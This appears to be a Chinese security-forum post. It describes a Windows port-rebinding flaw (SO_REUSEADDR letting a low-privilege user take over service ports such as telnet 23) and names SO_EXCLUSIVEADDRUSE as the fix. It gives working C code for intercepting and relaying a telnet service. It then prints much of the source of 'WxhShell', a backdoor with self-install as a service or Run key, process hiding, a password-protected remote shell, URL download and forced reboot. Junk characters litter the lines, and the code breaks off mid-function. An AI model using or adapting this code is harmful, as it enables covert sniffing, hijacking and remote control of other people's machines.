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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uB+#<F/c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J PTLh{/  
R7IFlQH%  
  saddr.sin_family = AF_INET; h*^JFZb  
dUB;ZB7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }'vQUG u8z  
/mJb$5=1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \#biwX  
yE N3/-S+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V #vkj  
<,O| fY%  
  这意味着什么?意味着可以进行如下的攻击: bo/U5p  
'\QJ{/JV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MA{ZmPm)  
DPY+{5q2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IHW s<U  
4NRj>y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !|9@f$Jv  
xX%{i0E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "$5cKbJ  
iPCn-DoIS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w?_'sP{pd  
d?5oJ'JU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <QgpePyoN  
q(46v`u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Kl?C[  
Nj?Q{ztS  
  #include Q4Wz5n1yp7  
  #include VeEa17g&  
  #include ]w*`}  
  #include    @G>e Cj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "Qc4v@~)  
  int main() Z6So5r%wZ  
  { ^!O!HMX0  
  WORD wVersionRequested; J}-e9vK-#  
  DWORD ret; 7^!iGhI]r  
  WSADATA wsaData; zk@s#_3ct  
  BOOL val; i$.!8AV6  
  SOCKADDR_IN saddr; O#!|2qN  
  SOCKADDR_IN scaddr; ~USyN'5lU7  
  int err; h*hkl#  
  SOCKET s; @I&k|\  
  SOCKET sc; D#,A_GA{A  
  int caddsize; 8B "^}y\0  
  HANDLE mt; P~&J@8)c  
  DWORD tid;   GAs.?JHd  
  wVersionRequested = MAKEWORD( 2, 2 ); 7uu\R=$  
  err = WSAStartup( wVersionRequested, &wsaData ); vXM {)  
  if ( err != 0 ) { 1;,<UHF8N  
  printf("error!WSAStartup failed!\n"); x*X{*?5@  
  return -1; A[F@rUZp  
  } }t|i1{%_  
  saddr.sin_family = AF_INET; J_<6;#  
   k5}Qx'/l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 szqR1A  
pI_:3D xe  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?oV|.LM:W  
  saddr.sin_port = htons(23); Y!y pG-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E2=vLI]  
  { ]Ee$ulJ02  
  printf("error!socket failed!\n"); s I0:<6W  
  return -1; Hh&qjf  
  } JPZH%#E(  
  val = TRUE; G~ 4G$YL*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `O%O[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4)XB3$<  
  { c& bms)Jwa  
  printf("error!setsockopt failed!\n"); 5K)_w:U X  
  return -1; m4Ue)  
  } 9.il1mAKg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (oG.A  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pVrY';[,|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vAqj4:j  
m7u`r(&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n=AcN  
  { M]/DKo  
  ret=GetLastError(); U%[ye0@:  
  printf("error!bind failed!\n"); {8`$~c  
  return -1; P8ZmrtQm  
  } J_m@YkK  
  listen(s,2); GG +T-  
  while(1) -5ZmIlL.S  
  { CjP<'0gT  
  caddsize = sizeof(scaddr); $bFK2yx?=  
  //接受连接请求 F *r)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v\@RwtP  
  if(sc!=INVALID_SOCKET) ela^L_NhF  
  { 8N?D1; F;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pRL:,q\  
  if(mt==NULL) UxzF5V5  
  { bv b \G  
  printf("Thread Creat Failed!\n"); Ke?,AWfG  
  break; fwV2b<[  
  } w D r/T3  
  } WvSm!W  
  CloseHandle(mt); pt,L  
  } 19#>\9*  
  closesocket(s); 0<NS1y  
  WSACleanup(); zyUS$g]&  
  return 0; $Th)z}A}EA  
  }   @z{SDM  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7bihP@I !  
  {  k%i.B  
  SOCKET ss = (SOCKET)lpParam; FiUwy/,ZV  
  SOCKET sc; ?I:_FT  
  unsigned char buf[4096]; Io>U-Zd\>  
  SOCKADDR_IN saddr; g 4|ai*^  
  long num; ,,6lQ]wG  
  DWORD val; $uUyp8F  
  DWORD ret; RBg2iG$ 8|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U3v~R4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &gJ@"`r4  
  saddr.sin_family = AF_INET; w)1SZ }  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SB5qm?pT8<  
  saddr.sin_port = htons(23); H@ty'z?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DT6 BFx  
  { *UJB *r  
  printf("error!socket failed!\n"); Z0D&ayzkh^  
  return -1; 0}'/pN>  
  } p]Qe5@NT  
  val = 100; uC#] F@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qy=tkCN  
  { 1DL+=-  
  ret = GetLastError(); ;j(*:Nt1  
  return -1; I\rjw$V#  
  } 6& hiW]Adm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <5CQ#^ cK  
  { 8JW0;H<  
  ret = GetLastError(); <Nc9F['&#  
  return -1; 2)n%rvCQ  
  } >s,*=a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L;b-=mF  
  { qEdY]t   
  printf("error!socket connect failed!\n"); 8 ?:W{GAo  
  closesocket(sc); 6O 2sa-{d  
  closesocket(ss);  60f%J1u  
  return -1; /8hjs{(;  
  } p!?7;  
  while(1) q?L*Luu+  
  { cmaha%3d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 K+yi_n L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 S=~+e{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a\I`:RO=<Z  
  num = recv(ss,buf,4096,0); }' t*BaU  
  if(num>0) ouUU(jj02  
  send(sc,buf,num,0); {%b-~& F9  
  else if(num==0) )Hy|K1  
  break; ?5 d3k%  
  num = recv(sc,buf,4096,0); ?Yp: h  
  if(num>0) C,D~2G  
  send(ss,buf,num,0); dGzZ_Vf  
  else if(num==0) 4<&`\<jZ  
  break; 3J}bI {3  
  } jM3{A;U2  
  closesocket(ss); bmO[9 )G  
  closesocket(sc); IPnbR)[%  
  return 0 ; 6]^}GyM!  
  } qyuU  
5A6d]  
!}^ {W)h[  
========================================================== .Eg>)  
3B|o   
下边附上一个代码,,WXhSHELL S:Ne g!`  
.~6p/fHX  
========================================================== Dw^d!%Ala  
*eytr#0B-  
#include "stdafx.h" x,z+l-y  
nrMm](Y45  
#include <stdio.h> }cG!93  
#include <string.h> /AP@Bhm  
#include <windows.h> F%x8y  
#include <winsock2.h> *O|Z[>  
#include <winsvc.h> T'l >$6  
#include <urlmon.h> `Q*L!/K+  
;K0kQ<y-Y  
#pragma comment (lib, "Ws2_32.lib") _d&FB~=  
#pragma comment (lib, "urlmon.lib") 5 d S5,  
Qd 1Q~PBla  
#define MAX_USER   100 // 最大客户端连接数 :0j9  
#define BUF_SOCK   200 // sock buffer X,- ' v[z  
#define KEY_BUFF   255 // 输入 buffer >40B Fxc  
~ "l a2  
#define REBOOT     0   // 重启 qA- ya6  
#define SHUTDOWN   1   // 关机 &}Y_EHj}  
Q9K+k*?{N  
#define DEF_PORT   5000 // 监听端口 9Ao0$|@b  
C9-9cdW H  
#define REG_LEN     16   // 注册表键长度 0XlX7Sk+  
#define SVC_LEN     80   // NT服务名长度 9X&Xs/B  
H*QN/{|RU  
// 从dll定义API R|Ft@]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;(w=}s%]+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LvpHR#K)F5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wAHb 5>!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H+zn:j@~L  
PMZdz>>T  
// wxhshell配置信息 l,/q# )5[  
struct WSCFG { rL URP2~  
  int ws_port;         // 监听端口 F~d !Ub$>  
  char ws_passstr[REG_LEN]; // 口令 @];#4O  
  int ws_autoins;       // 安装标记, 1=yes 0=no lYw A5|+  
  char ws_regname[REG_LEN]; // 注册表键名 s* 9tWSd  
  char ws_svcname[REG_LEN]; // 服务名 \yG_wZs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tu!u9jVv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [RpFC4W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cJ8*[H<NV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N[pk@M\vX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N=I5MQG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BC$In!  
D"x~bs?V\  
}; #-lk=>  
Fah}#,  
// default Wxhshell configuration !d(!1fC  
struct WSCFG wscfg={DEF_PORT, tb=L+WAIw  
    "xuhuanlingzhe", <K\F/`c  
    1, *Mp<4B  
    "Wxhshell", B!tt e )  
    "Wxhshell", ]ipVN  
            "WxhShell Service", q6G([h7  
    "Wrsky Windows CmdShell Service", Z#J{tXZc  
    "Please Input Your Password: ", "   c  
  1, mmjB1 L  
  "http://www.wrsky.com/wxhshell.exe", c//W#V2Q  
  "Wxhshell.exe" mMjVbeh[  
    }; 57MoO  
SQ1&n;M}f  
// 消息定义模块 [cW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mE7Jv)@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (CV=0{]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RI*%\~6t?  
char *msg_ws_ext="\n\rExit."; C4cg,>P7  
char *msg_ws_end="\n\rQuit."; =lmh^**4  
char *msg_ws_boot="\n\rReboot..."; .z4FuG,R  
char *msg_ws_poff="\n\rShutdown..."; e.kt]l  
char *msg_ws_down="\n\rSave to "; 6FmgK"t8  
iGlZFA  
char *msg_ws_err="\n\rErr!"; V9bLm,DtT  
char *msg_ws_ok="\n\rOK!"; 2M1mdkP3  
Oxvw`a#  
char ExeFile[MAX_PATH]; t&uHn5  
int nUser = 0; $G}Q}f  
HANDLE handles[MAX_USER]; N~kYT\$b#  
int OsIsNt; ujh4cp  
)K6{_~Kc\  
SERVICE_STATUS       serviceStatus; syfR5wc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4%7*tVG  
\* #4  
// 函数声明 ou-;k }  
int Install(void); 7L6M#B[)e5  
int Uninstall(void); {XCrjO|  
int DownloadFile(char *sURL, SOCKET wsh); D-!%L<<  
int Boot(int flag); ~e8n yB  
void HideProc(void); *X-$* ~J0  
int GetOsVer(void); `QF|> N  
int Wxhshell(SOCKET wsl); mx4*zj  
void TalkWithClient(void *cs); bW|y -GM  
int CmdShell(SOCKET sock); QMY4%uyY!  
int StartFromService(void); [ub\DLl  
int StartWxhshell(LPSTR lpCmdLine); (jG$M=q-  
:<gk~3\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FM)*>ax{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~] 2R+  
k N+(  
// 数据结构和表定义 -*2X YTe  
SERVICE_TABLE_ENTRY DispatchTable[] = ' ^^K#f8  
{ ~4<3`l=A  
{wscfg.ws_svcname, NTServiceMain}, mg(56)  
{NULL, NULL} cF vx* n  
}; Biy 9jIWI  
R2`g?5v  
// 自我安装 A~V\r<N j  
int Install(void) J.l%H U  
{ #^ #i]{g  
  char svExeFile[MAX_PATH]; du,-]fF  
  HKEY key; jYz3(mM'J  
  strcpy(svExeFile,ExeFile); eb\`)MI/  
j.}V~Sp*  
// 如果是win9x系统,修改注册表设为自启动 n #I}!x>2  
if(!OsIsNt) { =[+&({  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C>dJ:.K%H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dt.Wb&V_w  
  RegCloseKey(key); pe})A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iXRt9)MT{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P;L Z!I  
  RegCloseKey(key); j//wh1  
  return 0; gDNW~?/  
    } s[4 !R&b  
  } ! hr@{CD  
} 0 _}89:-  
else { K<JP9t6Qd  
{VG[m@  
// 如果是NT以上系统,安装为系统服务 R7c)C8/~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5udoZ >T  
if (schSCManager!=0) ^X%4@,AE  
{ [+,U0OV,  
  SC_HANDLE schService = CreateService {; cB?II  
  ( / i2-h  
  schSCManager, WCTW#<izm  
  wscfg.ws_svcname, g 'a?  
  wscfg.ws_svcdisp, =w$"wzc  
  SERVICE_ALL_ACCESS, @~G`~8   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , igj@{FN  
  SERVICE_AUTO_START, )ZyuF(C&  
  SERVICE_ERROR_NORMAL, E(+wl  
  svExeFile, S{7ik,Gdg  
  NULL, Lj-&TO}OZ  
  NULL, DB'KIw  
  NULL, Yf)|ws?!  
  NULL,  ^-*Tn  
  NULL U]EuDNkO{  
  ); 0+y~RTAVB  
  if (schService!=0) FK >8kC  
  { h]DE Cd{  
  CloseServiceHandle(schService);  Is6 _  
  CloseServiceHandle(schSCManager); a;T[%'in  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @mRrA#E#{  
  strcat(svExeFile,wscfg.ws_svcname); *([)X2A@+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (My$@l973  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jy@i(@Z  
  RegCloseKey(key);  E|P  
  return 0; +zn&DG0\X  
    } vau0Jn%=ck  
  } ~\<aj(m(|  
  CloseServiceHandle(schSCManager); w a7)  
} h2<Y*j  
} ;w--fqxVl  
x=s=~cu4,  
return 1; aAJ'0xnj  
} WCJ$S\#  
b5NPG N  
// 自我卸载 ;iEr+  
int Uninstall(void) kB:6e7D|[  
{ ZxW4 i  
  HKEY key;  #4?Z|_j3  
!A@Ft}FB  
if(!OsIsNt) { OcWy#,uC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gK7bP'S8H  
  RegDeleteValue(key,wscfg.ws_regname); yCC.j%@  
  RegCloseKey(key); !5FZxmUup  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "kH Ft|%@  
  RegDeleteValue(key,wscfg.ws_regname); o$ disJ  
  RegCloseKey(key); TX/Ng+v S  
  return 0; n^kszIu~  
  } uj 6dP  
} `*Ar6  
} x|3f$ =b  
else { e&*< "WN  
q4Z9;^S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %UV'HcO/gp  
if (schSCManager!=0) ea7l:(C  
{ CS2AKa@`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }6b=2Z}  
  if (schService!=0) /M(FuV  
  { .z7%74p  
  if(DeleteService(schService)!=0) { \P% E1c#  
  CloseServiceHandle(schService); pcIJija:  
  CloseServiceHandle(schSCManager); hQ`g B.DR  
  return 0; bm9@A]yP  
  } %|md0  
  CloseServiceHandle(schService); .zf#S0y%(  
  } apQ` l^  
  CloseServiceHandle(schSCManager); 0X =Yly*m@  
} GQ~wx1jj1  
} Ru8k2d$B  
.T0w2Dv/  
return 1; "i/ l'  
} 2:0'fNXop  
z45 7/zO  
// 从指定url下载文件 6rlafISvO  
int DownloadFile(char *sURL, SOCKET wsh) FWpcWmS`s  
{ Zhb) n  
  HRESULT hr; pj?wQ'  
char seps[]= "/"; 4L}i`)CmB  
char *token;  meQ>mW  
char *file; MU2ufKq4)  
char myURL[MAX_PATH]; z/zUb``  
char myFILE[MAX_PATH]; 2 t'^  
;`<uo$R  
strcpy(myURL,sURL); g_8Bhe"ik  
  token=strtok(myURL,seps); []R`h*#  
  while(token!=NULL) yXuF<+CJ  
  { |KV|x ^fJ  
    file=token; vZDM}u  
  token=strtok(NULL,seps); w:|BQ,  
  } +A 4};]W|  
@w8MOT$  
GetCurrentDirectory(MAX_PATH,myFILE); n<}t\<LG^c  
strcat(myFILE, "\\"); [>rX/a%c  
strcat(myFILE, file); i;c0X+[  
  send(wsh,myFILE,strlen(myFILE),0); 0 V*Di2  
send(wsh,"...",3,0); j[gX"PdQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j]}A"8=1  
  if(hr==S_OK) 0P sp/H%  
return 0; -0PT(gx  
else ;! &A  
return 1; jNB|98NN  
Qn(e[ C6\  
} LYNd^}  
jZS6f*$  
// 系统电源模块 !!4_x  
int Boot(int flag) +4f>njARIb  
{ q$e2x=?  
  HANDLE hToken; ,i#]&f`c;5  
  TOKEN_PRIVILEGES tkp; {M U>5\  
9r@r\-  
  if(OsIsNt) { }UZ$<81=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -X5rGp++  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JLm0[1Lzd  
    tkp.PrivilegeCount = 1; lBh|+K N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #sdW3m_%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T0BFit6  
if(flag==REBOOT) { ]la8MaZ<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,E,oz{,i(  
  return 0; S <~"\<ED  
} U-/-aNJ]U  
else { iu!j#VO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8a{S*  
  return 0; O=E"n*U  
} CVfQ  
  } +Hx$ABH  
  else { oc .H}Eb%Z  
if(flag==REBOOT) { !Ra.DSL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qr>:meJy4  
  return 0; dIk/vg  
} ~=HrD?-99p  
else { Q/[|/uNw?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I2G4j/c=z  
  return 0; !Ld0c4  
} pzcV[E1  
} pw;  
`I*W}5  
return 1; S[!sJ-rG  
} AQX~do\A  
AITV+=sN  
// win9x进程隐藏模块 1=LI))nV  
void HideProc(void) E ]eVoC  
{ gG"W~O)yv  
D)C^'/8q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JkT , i_  
  if ( hKernel != NULL ) 9 Yv;Dom  
  { &)F8i# M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rv`kP"I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 76e%&ZG)Q  
    FreeLibrary(hKernel); 9qyA{ |3  
  } 5I#L|+  
9+'QH  
return; Z}#, E ;  
} .&Uu w  
&?~OV:r9  
// 获取操作系统版本 =#WoeWFW*  
int GetOsVer(void) vZEeb j  
{ ;dXQB>Za  
  OSVERSIONINFO winfo; S $wx>715  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l=(4o4um  
  GetVersionEx(&winfo); KysJ3G.k\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^w tr~D|  
  return 1; ZJod=^T  
  else v5/2-<6x  
  return 0; _[kZ:#  
} ,lUroO^^  
0C,2gcq  
// 客户端句柄模块 #\{j/{VZ  
int Wxhshell(SOCKET wsl) c:@lR/oe"  
{ !e0OGf  
  SOCKET wsh; 9[9 ZI1*s  
  struct sockaddr_in client; U7(t >/  
  DWORD myID; z+=wql*Eo  
KJLC2,  
  while(nUser<MAX_USER) q ?qpUPzD  
{ i+Fk  
  int nSize=sizeof(client); ,iy;L_N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rmq^P;At  
  if(wsh==INVALID_SOCKET) return 1; zfBaB0P  
h=7eOK]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zNo(|;19  
if(handles[nUser]==0) EYaX@|)  
  closesocket(wsh); 8YLS/dN0 w  
else o@d+<6Um  
  nUser++; Y.<&phv  
  } -5Km 9X8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mR? } gR  
>;;tX3(  
  return 0; 6.!3g(w   
} M_4:~&N$  
WG_20JdJY  
// 关闭 socket \3ZQ:E}5  
void CloseIt(SOCKET wsh) _v+mjDdQ  
{ .kGlUb?^Q  
closesocket(wsh); Px>Gc:!>  
nUser--; ^rKA=siz  
ExitThread(0); *$KUnd-T  
} `y2 6OYo  
L-LN+6r (#  
// 客户端请求句柄 Vo\RtM/6{  
void TalkWithClient(void *cs) eqyZ|6  
{ 4[S0~O{r  
]J t8]w  
  SOCKET wsh=(SOCKET)cs; ;Ly(O'9  
  char pwd[SVC_LEN]; \xH#X=J  
  char cmd[KEY_BUFF]; r/![ohrEB  
char chr[1]; cdDMV%V  
int i,j; WJ{hta  
x=>+.'K  
  while (nUser < MAX_USER) { [U]ouh)  
fBS;~;l  
if(wscfg.ws_passstr) { ;gTdiwfgZ=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )}9Ef"v|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aN}yS=(Ff  
  //ZeroMemory(pwd,KEY_BUFF); lE`hC#m  
      i=0; gsGwf[XdJ  
  while(i<SVC_LEN) { L0qo/6|C  
@ T'!;)  
  // 设置超时 .8uJ%'$)  
  fd_set FdRead; 9(QY~F  
  struct timeval TimeOut; HtgVD~[]  
  FD_ZERO(&FdRead); P7&a~N$T6W  
  FD_SET(wsh,&FdRead); /P<RYA~  
  TimeOut.tv_sec=8; R,x\VX!|  
  TimeOut.tv_usec=0; NYM$0v`0YK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vY7C!O/y_k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $^INl0Pg  
]t\fw'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'e^,#L_!o  
  pwd=chr[0]; ;XNe:g.CR  
  if(chr[0]==0xd || chr[0]==0xa) { 58\Rl  
  pwd=0; {P"$;_Y"<  
  break; 3%{A"^S=}  
  } #n2'N^t  
  i++; HhDiGzOSi  
    } 6S)$wj*w  
`% k9@k .  
  // 如果是非法用户,关闭 socket J@PwN^`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w vBx]$SC  
} F$QN>wPpM  
,*$L_itL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7nM]E_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +EjH9;gx  
<@6K(  
while(1) { SxMmy  
F^.w:ad9<  
  ZeroMemory(cmd,KEY_BUFF); /tR@J8pV  
-9TNU7^  
      // 自动支持客户端 telnet标准   DuX7  
  j=0; IaMZPl  
  while(j<KEY_BUFF) { pxP,cS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v zgR3r  
  cmd[j]=chr[0]; reseu*5  
  if(chr[0]==0xa || chr[0]==0xd) { jo-jPYH T  
  cmd[j]=0; h6J0b_3h4  
  break; "2} {lu  
  } P`r@<cgb=  
  j++; iR} 3 [  
    } }dcXuX4{r  
Xq:jp+WSG  
  // 下载文件 A+Uil\%  
  if(strstr(cmd,"http://")) { mp]}-bR)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Sl,X*[HGd  
  if(DownloadFile(cmd,wsh)) u'Ja9m1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `w/:o$&  
  else N zrHWVD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #9{N[t  
  } F<FNZQ@<U  
  else { Y3xEFqMU  
>P6U0  
    switch(cmd[0]) { mN#&NA  
  z=LO$,JW`  
  // 帮助 L~_zR>  
  case '?': { qt%/0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &jDRRT3  
    break; *oIKddZh  
  } Q1 vse  
  // 安装 Em;b,x*U  
  case 'i': { hrD6r=JT<~  
    if(Install()) ka3 Z5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J4g;~#_19  
    else `[&2K@u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z{d5Lrk  
    break; ,]mwk~HeF  
    } ks;wc"k"  
  // 卸载 jZ!JXmVV  
  case 'r': { }6> J   
    if(Uninstall()) af(JoX*U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )''wu\7A)'  
    else !f-o,RJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3zTE4pHzu+  
    break; ?QSx8d  
    } L> Oy7w)Y  
  // 显示 wxhshell 所在路径 bV$8 >[`  
  case 'p': { Bf:tal6 -M  
    char svExeFile[MAX_PATH]; ,3]?%t0xe  
    strcpy(svExeFile,"\n\r"); .D,?u"fk|  
      strcat(svExeFile,ExeFile); ;eW'}&|LV  
        send(wsh,svExeFile,strlen(svExeFile),0); |5~wwL@LW7  
    break; ri<'-wi  
    } K 5qLBz@U  
  // 重启 `Ix s7{&jU  
  case 'b': { &#-|Yh/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P 0Efh?oZ  
    if(Boot(REBOOT)) R] Disljq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nEd M_JPv  
    else { L8:]`M Q0  
    closesocket(wsh); hg&w=l  
    ExitThread(0); 4ypRyO  
    } &$m=^  
    break; xHv|ca.E  
    } q8?= *1g  
  // 关机 #juGD9e  
  case 'd': { rkfQr9Vc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "u<jbD  
    if(Boot(SHUTDOWN)) }%!FMXe  
